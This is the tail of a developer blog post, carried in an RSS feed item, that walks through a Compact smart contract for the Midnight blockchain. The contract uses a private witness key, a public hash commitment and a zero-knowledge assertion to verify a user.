&lt;strong&gt;Circuit:&lt;/strong&gt; The logic that generates a ZK proof locally before submitting a transaction.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Code Implementation
&lt;/h2&gt;

&lt;p&gt;Here is a fully functional Compact contract implementing this pattern.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pragma language_version &amp;gt;= 0.23;
import CompactStandardLibrary;

// 1. PUBLIC LEDGER STATE
// Directly export a single updatable ledger storage slot.
export ledger last_user: Bytes&amp;lt;32&amp;gt;;

// 2. PRIVATE WITNESS DATA
// Witnesses are strictly local. This value is never sent over the network.
witness secret_key(): Bytes&amp;lt;32&amp;gt;;

// 3. ZK CIRCUITS
export circuit update(): [] {
    // Read the private secret key locally from the user's device
    const sk = secret_key();

    // Derive a cryptographic commitment (identifier) from the private key
    const myself = persistentHash&amp;lt;Bytes&amp;lt;32&amp;gt;&amp;gt;(sk);

    // Write the commitment to the public ledger. 
    // disclose() is used to intentionally make the hashed value public.
    last_user.write(disclose(myself));
}

export circuit verify_user(): [] {
    // Read the private secret key locally again
    const sk = secret_key();

    // Re-calculate the identifier
    const myself = persistentHash&amp;lt;Bytes&amp;lt;32&amp;gt;&amp;gt;(sk);

    // ZK Assertion: Ensure the calculated hash matches the public ledger state.
    // If this fails, the proof generation fails.
    assert(myself == last_user.read(), "Oops: you're not the current user");

    // If successful, the blockchain only receives a mathematical proof 
    // that this assertion passed. The `secret_key` remains hidden!
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Breaking Down the Magic
&lt;/h2&gt;

&lt;p&gt;Let's look at why this works securely and doesn't leak data:&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: The Witness Function
&lt;/h3&gt;

&lt;p&gt;Unlike Solidity where msg.sender is implicitly public, Compact forces you to define private data explicitly using the witness keyword. When a user interacts with this contract, the secret_key value is supplied locally by the DApp's witness implementation (backed by the private-state provider running in the user's wallet). The Proof Server later generates the ZK proof from data already supplied locally; it never sources or handles your raw secrets.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: The Hash Commitment
&lt;/h3&gt;

&lt;p&gt;We cannot store the secret_key directly on the ledger. Instead, we use persistentHash, a built-in Compact function designed specifically for deriving state identifiers from private data. It creates a one-way deterministic hash.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Zero-Knowledge Assertion
&lt;/h3&gt;

&lt;p&gt;This is where the Zero-Knowledge magic happens. When &lt;code&gt;verify_user()&lt;/code&gt; is called, the user's machine executes the code, hashes their local secret, and compares it against &lt;code&gt;last_user.read()&lt;/code&gt;. &lt;br&gt;
If they match, the machine generates a &lt;strong&gt;ZK Proof&lt;/strong&gt; saying: &lt;em&gt;"I executed this code, and the assertion was true."&lt;/em&gt; &lt;br&gt;
The Midnight network validates the proof, not the data. The network knows the user is authorized, but has absolutely no idea what the &lt;code&gt;secret_key&lt;/code&gt; actually is.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;By separating data into &lt;strong&gt;Ledger&lt;/strong&gt; (public) and &lt;strong&gt;Witness&lt;/strong&gt; (private), and combining them inside a &lt;strong&gt;Circuit&lt;/strong&gt;, Compact makes building Zero-Knowledge applications incredibly intuitive. &lt;/p&gt;

&lt;p&gt;You no longer have to be a cryptographer writing complex polynomial equations to utilize ZK-rollups. With a syntax that feels right at home for Web2 and Web3 developers alike, Midnight allows you to build dApps where privacy is the default, not an afterthought.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Have you experimented with Compact yet? Let me know what you're building in the comments!&lt;/em&gt;&lt;/p&gt;

</description>
      <category>midnightfordevs</category>
      <category>web3</category>
      <category>blockchain</category>
      <category>zeroknowledge</category>
    </item>
  </channel>
</rss>
